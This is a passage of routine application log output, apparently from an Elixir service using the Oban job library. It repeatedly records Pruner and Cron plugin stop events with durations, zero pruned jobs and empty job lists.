{"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:00.306 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:40:07.670 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:37.672 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:00.307 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:41:07.674 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:37.676 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:00.308 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:42:07.678 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:37.680 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:00.309 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:43:07.682 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:37.684 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:00.310 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:44:07.686 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:37.688 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:00.311 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:45:07.690 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:37.692 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:00.312 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:46:07.694 [info] {"source":"oban","duration":1088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:37.696 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:00.313 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:47:07.698 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:37.700 [info] {"source":"oban","duration":1076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:00.314 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:48:07.702 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:37.704 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:00.315 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:49:07.706 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:37.708 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:00.316 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:50:07.710 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:37.712 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:00.317 [info] {"source":"oban","duration":229,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:51:07.714 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:37.716 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:00.318 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:52:07.718 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:37.720 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:00.319 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:53:07.722 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:37.724 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:00.320 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:54:07.726 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:37.728 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:00.321 [info] {"source":"oban","duration":241,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:55:07.730 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:37.732 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:00.322 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:56:07.733 [info] {"source":"oban","duration":944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:37.736 [info] {"source":"oban","duration":1236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:00.323 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:57:07.738 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:37.740 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:00.324 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:58:07.742 [info] {"source":"oban","duration":1049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:37.744 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:00.325 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:59:07.746 [info] {"source":"oban","duration":1164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:37.748 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:00.327 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:00:07.750 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:37.752 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:00.328 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:01:07.754 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:37.756 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:00.329 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:02:07.758 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:37.760 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:00.330 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:03:07.762 [info] {"source":"oban","duration":1410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:37.764 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:00.331 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:04:07.766 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:37.768 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:00.332 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:05:07.770 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:37.772 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:00.333 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:06:07.774 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:37.776 [info] {"source":"oban","duration":1024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:00.334 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:07:07.778 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:37.780 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:00.335 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:08:07.782 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:37.784 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:00.336 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:09:07.786 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:37.788 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:00.338 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:10:07.790 [info] {"source":"oban","duration":1601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:37.792 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:00.339 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:11:07.794 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:37.796 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:00.340 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:12:07.798 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:37.800 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:00.341 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:13:07.802 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:37.804 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:00.342 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:14:07.806 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:37.808 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:00.343 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:15:07.810 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:37.812 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:00.344 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:16:07.814 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:37.816 [info] {"source":"oban","duration":1182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:00.345 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:17:07.818 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:37.820 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:00.346 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:18:07.822 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:37.824 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:00.347 [info] {"source":"oban","duration":224,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:19:07.826 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:37.828 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:00.348 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:20:07.830 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:37.832 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:00.349 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:21:07.834 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:37.836 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:00.350 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:22:07.838 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:37.840 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:00.351 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:23:07.842 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:37.844 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:00.352 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:24:07.846 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:37.848 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:00.353 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:25:07.850 [info] {"source":"oban","duration":1736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:37.853 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:00.354 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:26:07.855 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:37.857 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:00.355 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:27:07.859 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:37.861 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:00.356 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:28:07.863 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:37.865 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:00.357 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:29:07.867 [info] {"source":"oban","duration":1183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:37.869 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:00.358 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:30:07.871 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:37.873 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:00.359 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:31:07.875 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:37.877 [info] {"source":"oban","duration":1269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:00.360 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:32:07.879 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:37.880 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:00.361 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:33:07.883 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:37.885 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:00.362 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:34:07.887 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:37.889 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:00.363 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:35:07.891 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:37.893 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:00.364 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:36:07.895 [info] {"source":"oban","duration":1018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:37.897 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:00.365 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:37:07.899 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:37.901 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:00.366 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:38:07.903 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:37.905 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:00.367 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:39:07.907 [info] {"source":"oban","duration":1024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:37.909 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:00.368 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:40:07.911 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:37.913 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:00.369 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:41:07.915 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:37.917 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:00.370 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:42:07.919 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:37.921 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:00.371 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:43:07.923 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:37.925 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:00.372 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:44:07.927 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:37.929 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:00.373 [info] {"source":"oban","duration":180,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:45:07.931 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:37.933 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:00.374 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:46:07.935 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:37.937 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:00.375 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:47:07.939 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:37.941 [info] {"source":"oban","duration":1145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:00.377 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:48:07.943 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:37.945 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:00.378 [info] {"source":"oban","duration":230,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:49:07.947 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:37.949 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:00.379 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:50:07.951 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:37.953 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:00.380 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:51:07.955 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:37.957 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:00.381 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:52:07.959 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:37.961 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:00.382 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:53:07.963 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:37.965 [info] {"source":"oban","duration":1128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:00.383 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:54:07.967 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:37.969 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:00.384 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:55:07.971 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:37.973 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:00.385 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:56:07.975 [info] {"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:37.977 [info] {"source":"oban","duration":1018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:00.386 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:57:07.979 [info] {"source":"oban","duration":1094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:37.981 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:00.387 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:58:07.983 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:37.985 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:00.388 [info] 